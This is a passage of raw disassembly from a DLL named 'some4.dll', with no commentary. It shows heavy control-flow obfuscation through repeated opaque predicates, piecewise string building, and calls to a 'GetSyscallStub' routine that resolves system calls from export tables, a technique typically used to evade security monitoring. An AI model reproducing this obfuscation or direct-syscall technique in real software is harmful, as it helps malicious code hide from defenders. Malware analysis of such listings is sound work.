or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x6614c429
jmp 0x66172853
mov rcx, qword [rbp + 0x1d50]
sub rsp, 0x20
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1d58]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1d60]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1d68]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1d70]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1d78]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1d80]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1d88]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1d90]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1d98]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1da0]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1da8]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1db0]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1db8]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
add rsp, 0x20
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x6614c54b
jmp 0x66172853
jmp 0x6614c550
mov rcx, qword [rbp + 0x1dc0]
sub rsp, 0x20
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1dc8]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1dd0]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1dd8]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1de0]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1de8]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1df0]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1df8]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
add rsp, 0x20
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
add edx, 0xe782131d
sub edx, 1
sub edx, 0xe782131d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614c5fc
jmp 0x66172908
mov rcx, qword [rbp + 0x1e00]
sub rsp, 0x20
call fcn.661fb310
add rsp, 0x20
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
sub edx, 0x69228fe3
sub edx, 1
add edx, 0x69228fe3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614c654
jmp 0x66172908
mov rdx, qword [rbp + 0x1d48]
mov rcx, qword [rbp + 0x1e20]
sub rsp, 0x20
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
add rsp, 0x20
jmp 0x6614c674
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
sub edx, 0xef0f68d5
sub edx, 1
add edx, 0xef0f68d5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x6614c6eb
jmp 0x66172921
mov rax, qword [rbp + 0x1d40]
mov rax, qword [rax]
mov qword [rbp + 0x1310], rax
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614c73b
jmp 0x66172921
jmp 0x6614c740
mov rax, qword [rbp + 0x1d30]
mov rcx, qword [rbp + 0x1d28]
mov rdx, qword [rbp + 0x1d00]
mov rdx, qword [rdx]
mov qword [rbp + 0x12f8], rdx
mov rcx, qword [rcx]
mov qword [rbp + 0x1300], rcx
mov rax, qword [rax]
mov qword [rbp + 0x1308], rax
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614c7b2
jmp 0x66172926
mov rax, qword [rbp + 0x1c50]
mov rax, qword [rax]
mov qword [rbp + 0x12f0], rax
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x6614c835
jmp 0x66172926
mov r9, qword [rbp + 0x1300]
mov r8, qword [rbp + 0x12f8]
mov rdx, qword [rbp + 0x1310]
mov rcx, qword [rbp + 0x1e20]
mov r10, qword [rbp + 0x1308]
mov r11, qword [rbp + 0x12f0]
sub rsp, 0x30
mov rax, rsp
mov qword [rax + 0x28], r11
mov qword [rax + 0x20], r10
call sym.some4.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
add rsp, 0x30
mov dword [rbp + 0x12ec], eax
jmp 0x6614c882
mov rcx, qword [rbp + 0x1e20]
sub rsp, 0x20
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov edx, dword [rbp + 0x12ec]
mov rax, qword [rbp + 0x1e18]
mov rcx, qword [rbp + 0x1d48]
add rsp, 0x20
mov dword [rax], edx
sub rsp, 0x20
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
add rsp, 0x20
mov qword [rbp + 0x12e0], rax
mov rax, qword [rbp + 0x1e18]
mov edx, dword [rax]
lea rax, [0x66258258]
lea rcx, str.ljm
cmp edx, 0
cmovne rax, rcx
mov qword [rbp + 0x12d8], rax
mov r8, qword [rbp + 0x12d8]
mov rdx, qword [rbp + 0x12e0]
sub rsp, 0x20
lea rcx, [0x66258240]
call fcn.66174940
add rsp, 0x20
jmp 0x6614c90c
mov rcx, qword [rbp + 0x1ec8]
sub rsp, 0x20
call fcn.661fb2e0
add rsp, 0x20
mov r8, qword [rbp + 0x1ec8]
mov rcx, qword [rbp + 0x1ec0]
sub rsp, 0x20
lea rdx, [0x66258215]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
add rsp, 0x20
jmp 0x6614c947
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614c986
jmp 0x6617292b
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614c9c5
jmp 0x6617292b
mov rdx, qword [rbp + 0x1ec0]
mov rcx, qword [rbp + 0x1eb8]
sub rsp, 0x20
lea r8, [0x66258217]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614c9ec
mov rdx, qword [rbp + 0x1eb8]
mov rcx, qword [rbp + 0x1eb0]
sub rsp, 0x20
lea r8, [0x6625825e]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614ca13
mov rdx, qword [rbp + 0x1eb0]
mov rcx, qword [rbp + 0x1ea8]
sub rsp, 0x20
lea r8, [0x66258229]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614ca3a
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614ca79
jmp 0x66172930
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
add edx, 0xd817347d
sub edx, 1
sub edx, 0xd817347d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x6614caf0
jmp 0x66172930
mov rdx, qword [rbp + 0x1ea8]
mov rcx, qword [rbp + 0x1ea0]
sub rsp, 0x20
lea r8, [0x66258227]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614cb17
mov rdx, qword [rbp + 0x1ea0]
mov rcx, qword [rbp + 0x1e98]
sub rsp, 0x20
lea r8, [0x66258217]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614cb3e
mov rdx, qword [rbp + 0x1e98]
mov rcx, qword [rbp + 0x1e90]
sub rsp, 0x20
lea r8, [0x66258223]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614cb65
mov rdx, qword [rbp + 0x1e90]
mov rcx, qword [rbp + 0x1e88]
sub rsp, 0x20
lea r8, [0x66258225]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614cb8c
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
sub edx, 0x16b682ce
sub edx, 1
add edx, 0x16b682ce
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x6614cc03
jmp 0x66172935
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614cc42
jmp 0x66172935
mov rdx, qword [rbp + 0x1e88]
mov rcx, qword [rbp + 0x1e80]
sub rsp, 0x20
lea r8, [0x66258227]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614cc69
mov rdx, qword [rbp + 0x1e80]
mov rcx, qword [rbp + 0x1e78]
sub rsp, 0x20
lea r8, [0x66258229]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614cc90
mov rdx, qword [rbp + 0x1e78]
mov rcx, qword [rbp + 0x1e70]
sub rsp, 0x20
lea r8, [0x66258217]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614ccb7
mov rdx, qword [rbp + 0x1e70]
mov rcx, qword [rbp + 0x1e68]
sub rsp, 0x20
lea r8, [0x6625822b]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614ccde
mov rdx, qword [rbp + 0x1e68]
mov rcx, qword [rbp + 0x1e60]
sub rsp, 0x20
lea r8, [0x66258221]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614cd05
mov rdx, qword [rbp + 0x1e60]
mov rcx, qword [rbp + 0x1e58]
sub rsp, 0x20
lea r8, [0x6625821b]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614cd2c
mov rdx, qword [rbp + 0x1e58]
mov rcx, qword [rbp + 0x1e50]
sub rsp, 0x20
lea r8, [0x6625822d]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614cd53
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
sub edx, 0xb7e13a77
sub edx, 1
add edx, 0xb7e13a77
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x6614cdca
jmp 0x6617293a
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
sub edx, 0x6c0d88fd
sub edx, 1
add edx, 0x6c0d88fd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x6614ce41
jmp 0x6617293a
mov rdx, qword [rbp + 0x1e50]
mov rcx, qword [rbp + 0x1e48]
sub rsp, 0x20
lea r8, [0x66258223]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614ce68
mov rdx, qword [rbp + 0x1e48]
mov rcx, qword [rbp + 0x1e40]
sub rsp, 0x20
lea r8, [0x6625822f]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614ce8f
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
sub edx, 0xd318bc50
sub edx, 1
add edx, 0xd318bc50
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614ced3
jmp 0x6617293f
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
sub edx, 0xcc57b07c
sub edx, 1
add edx, 0xcc57b07c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614cf17
jmp 0x6617293f
mov rdx, qword [rbp + 0x1e40]
mov rcx, qword [rbp + 0x1e38]
sub rsp, 0x20
lea r8, [0x6625821d]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614cf3e
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
add edx, 0xf7978f10
sub edx, 1
sub edx, 0xf7978f10
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614cf82
jmp 0x66172944
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614cfc1
jmp 0x66172944
mov rdx, qword [rbp + 0x1e38]
mov rcx, qword [rbp + 0x1e30]
sub rsp, 0x20
lea r8, [0x66258229]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614cfe8
mov rdx, qword [rbp + 0x1e30]
mov rcx, qword [rbp + 0x1e28]
sub rsp, 0x20
lea r8, [0x66258231]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614d00f
mov rdx, qword [rbp + 0x1e28]
mov rcx, qword [rbp + 0x1d48]
sub rsp, 0x20
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
mov rcx, qword [rbp + 0x1e28]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1e30]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1e38]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1e40]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1e48]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1e50]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1e58]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
add rsp, 0x20
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
add edx, 0x13610733
sub edx, 1
sub edx, 0x13610733
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614d0c2
jmp 0x66172949
mov rcx, qword [rbp + 0x1e60]
sub rsp, 0x20
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1e68]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1e70]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1e78]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1e80]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1e88]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
add rsp, 0x20
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
sub edx, 0x7aa8a626
sub edx, 1
add edx, 0x7aa8a626
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614d156
jmp 0x66172949
jmp 0x6614d15b
mov rcx, qword [rbp + 0x1e90]
sub rsp, 0x20
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1e98]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1ea0]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1ea8]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1eb0]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1eb8]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1ec0]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1ec8]
call fcn.661fb310
mov rcx, qword [rbp + 0x1ed0]
mov rdx, qword [rbp + 0x1d48]
add rsp, 0x20
sub rsp, 0x20
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
add rsp, 0x20
jmp 0x6614d1e3
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
add edx, 0x9c313b5
sub edx, 1
sub edx, 0x9c313b5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614d227
jmp 0x6617299e
mov rax, qword [rbp + 0x1d40]
mov rax, qword [rax]
mov qword [rbp + 0x12d0], rax
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614d277
jmp 0x6617299e
jmp 0x6614d27c
mov rax, qword [rbp + 0x1d00]
mov rax, qword [rax]
mov qword [rbp + 0x12c8], rax
mov r8, qword [rbp + 0x12c8]
mov rdx, qword [rbp + 0x12d0]
mov rcx, qword [rbp + 0x1ed0]
mov rax, qword [rbp + 0x1c58]
mov r10, qword [rbp + 0x1d30]
mov r9, qword [rbp + 0x1d28]
mov r9, qword [r9]
mov r10, qword [r10]
mov r11, qword [rax]
sub rsp, 0x30
mov rax, rsp
mov qword [rax + 0x28], r11
mov qword [rax + 0x20], r10
call sym.some4.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
add rsp, 0x30
mov dword [rbp + 0x12c4], eax
jmp 0x6614d2e3
mov rax, qword [rbp + 0x1e18]
mov rcx, qword [rbp + 0x1ed0]
mov edx, dword [rbp + 0x12c4]
mov dword [rax], edx
sub rsp, 0x20
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1d48]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x1e18]
mov qword [rbp + 0x12b8], rcx
cmp dword [rax], 0
setne al
mov byte [rbp + 0x12c3], al
mov dl, byte [rbp + 0x12c3]
lea rax, [0x66258258]
lea rcx, str.ljm
test dl, 1
cmovne rax, rcx
mov qword [rbp + 0x12b0], rax
mov r8, qword [rbp + 0x12b0]
mov rdx, qword [rbp + 0x12b8]
sub rsp, 0x20
lea rcx, [0x66258240]
call fcn.66174940
add rsp, 0x20
jmp 0x6614d378
mov rcx, qword [rbp + 0x1f88]
sub rsp, 0x20
call fcn.661fb2e0
add rsp, 0x20
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
sub edx, 0xfe1599bb
sub edx, 1
add edx, 0xfe1599bb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614d3d0
jmp 0x661729a3
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
sub edx, 0x921265a4
sub edx, 1
add edx, 0x921265a4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614d414
jmp 0x661729a3
mov r8, qword [rbp + 0x1f88]
mov rcx, qword [rbp + 0x1f80]
sub rsp, 0x20
lea rdx, [0x66258215]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
add rsp, 0x20
jmp 0x6614d43b
mov rdx, qword [rbp + 0x1f80]
